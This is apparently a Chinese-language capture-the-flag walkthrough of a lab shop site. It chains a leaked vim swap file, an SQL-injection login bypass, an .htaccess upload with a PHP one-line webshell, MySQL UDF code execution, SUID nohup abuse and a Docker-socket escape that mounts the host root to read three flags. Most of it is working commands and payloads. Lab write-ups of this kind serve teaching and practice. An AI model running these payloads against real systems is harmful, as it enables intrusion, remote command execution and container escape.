信息收集阶段
nmap扫描网段:发现目标服务与服务版本
nmap -sV -sT 192.168.112.0/24发现一个Apache搭建的http服务

nmap扫描漏洞:
nmap -sV --script=vuln 192.168.112.110dirsearch扫描目录与文件
dirsearch -u http://192.168.112.110发现存在.index.php.swp文件,文件上传目录,商品浏览文件,网站首页文件,登录文件

发现存在.index.php.swp文件,该文件为vim临时交换文件,是编辑index.php留下的临时文件,输入url下载该文件查看内容
漏洞利用阶段
访问http服务,发现只有一个商品浏览的页面没有什么作用,需要账号密码登录

因为之前发现了.index.php.swp文件,我们尝试访问URL,发现可以下载下来,查看内容发现两个敏感文件
db_connect.php数据库配置文件!账号密码全在这
waf.php防护规则文件,知道WAF怎么拦截
尝试查看这两个文件发现返回为空

发现存在SQL查询(未编译),可以进行尝试SQL注入绕过登录

通过尝试发现直接注释即可绕过登录

进入网站后发现存在文件上传,并且存在格式限制

尝试用Burp Suite抓包修改文件格式后发现仍然显示格式被限制,说明可能存在双重认证


因为之前信息收集知道该服务是Apache,并且文件目录扫描发现许多.htaccess前缀的文件,所以我们选择上传.htaccess文件来覆盖服务器配置
#文件内容:将所有png格式的文件解析为php文件运行
AddHandler application/x-httpd-php .png
再上传一个.png带有一句话木马的文件
<?php system($_GET["cmd"]);?> #一句话木马
因为之前文件扫描发现了文件上传路径为/uploads,所以尝试访问上传的payload.png文件
#访问url
http://192.168.112.110/uploads/payload.png发现上传成功,报错原因是system没有给到参数

我们使用一句话木马查看信息

发现在云服务器中服务可能在容器内

发现存在.dockerenv文件确定服务在容器内

发现数据库信息:用户名为root,密码:Kp7mXz2wRn9sLqDf,目标数据库名mirror_shop,容器名:db

拿到了数据库信息,直接尝试远程登录,发现登陆成功

进入目标数据库查看用户信息,拿到flag1:flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}

通过对数据库翻找,无法再获得有用的信息,尝试查看数据库拥有的权限,发现是超级管理员权限

查看是否具有UDF提权的条件
udf目录:/usr/lib64/mysql/plugin/
secure_file_priv:为空或无限制
前面得到了系统架构为64位

使用sqlmap自带的UDF文件
#解压UDF文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys_64.so
#查看文件类型
/tmp/lib_mysqludf_sys_64.so
#转换位16进制
xxd -p /tmp/lib_mysqludf_sys_64.so| tr -d ' \n' > /tmp/udf64_hex.txt
写入UDF文件,创建函数
函数:
exec:执行命令,返回退出码
eval:执行命令,返回输出结果
# 将16进制内容写入环境变量
UDF_HEX=$(cat /tmp/udf64_hex.txt)
# 利用环境变量将UDF文件写入plugin目录
mysql -h 192.168.112.110 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \
-e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"
# 创建函数,这里为了省略步骤,选择eval函数
mysql -h 192.168.112.110 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \
-e "CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';"进入数据库尝试使用函数查询服务器数据,说明该mysql依然是一个容器

查找flag文件
SELECT sys_eval('find / -name *flag* 2>/dev/null');发现根里有一个flag

查看flag内容没有返回,说明权限不如
SELECT sys_eval('cat /flag');
权限提升阶段
因为仍在容器中,我们需要进行提权,优先查找是否存在SUID文件,如果存在可利用的SUID权限,则可以获取root权限
SELECT sys_eval('find / -perm -u=s -type f');发现可用SUID文件nohup。
正常情况下该功能不应拥有SUID权限,nohup的功能是在用户退出后,终端依然运行,该权限不需要root权限,所以是配置失误可以利用。

使用nohup的SUID权限读取flag
SELECT sys_eval('/usr/bin/nohup cat /flag');拿到flag2:flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}

我们已经拿到了容器中的两个flag,剩下的一个flag可能存在与宿主机中,我们这时候就需要通过docker逃逸来拿到宿主机中的信息。
因为我们已经通过SUID文件nohup能拿到root权限,现在只需要确定容器内是否存在且能访问/var/run/docker.sock就能通过docker.api创建恶意容器来读取宿主机数据内容。
# 查看/var/run/docker/sock是否存在且能访问
SELECT sys_eval('/usr/bin/nohup ls -la /var/run/docker.sock');确认docker socket存在

因为需要创建恶意容器来查看宿主机中的数据,首先查看宿主机中有哪些镜像。
# 获取镜像列表
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\"');发现三个镜像
mysql:5.7
mirror-shop_web:latest
php:7.4-apache
因为mysql:5.7已经存在所以我们选择该镜像创建容器

通过Docker API创建临时容器,挂载宿主机根目录,查找flag
# 创建payload文件
SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/find_flags.json';
# 查看payload文件
MySQL [(none)]> SELECT sys_eval('cat /tmp/find_flags.json');创建容器信息:
"Image": "mysql:5.7" :使用 mysql:5.7 镜像
"Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"] :容器启动后执行 find /host -maxdepth 3 -name flag -type f
"Binds": ["/:/host"] :将宿主机的 / 挂载到容器的 /host ,所以查找的是宿主机根中的flag


创建容器
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/find_payload.json http://localhost/containers/create\"');
启动容器
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\"');
读取容器日志
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\"');发现宿主机的跟中存在最后的flag3

发现了宿主机中的flag路径,创建Payload
# 创建payload
SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/flag\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/dockers_payload.json';
# 查看payload
SELECT sys_eval('cat /tmp/dockers_payload.json');"Image": "mysql:5.7" :使用 mysql:5.7 镜像
"Cmd": ["cat", "/host/flag"] :容器启动后执行 cat /host/flag
"Binds": ["/:/host"] :将宿主机的 / 挂载到容器的 /host

创建容器
# 创建容器
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/dockers_payload.json http://localhost/containers/create\"');
启动容器
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\"');
读取日志
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\"');拿到flag3:flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}

攻击链总结
渗透流程拓扑图

攻击链
.png)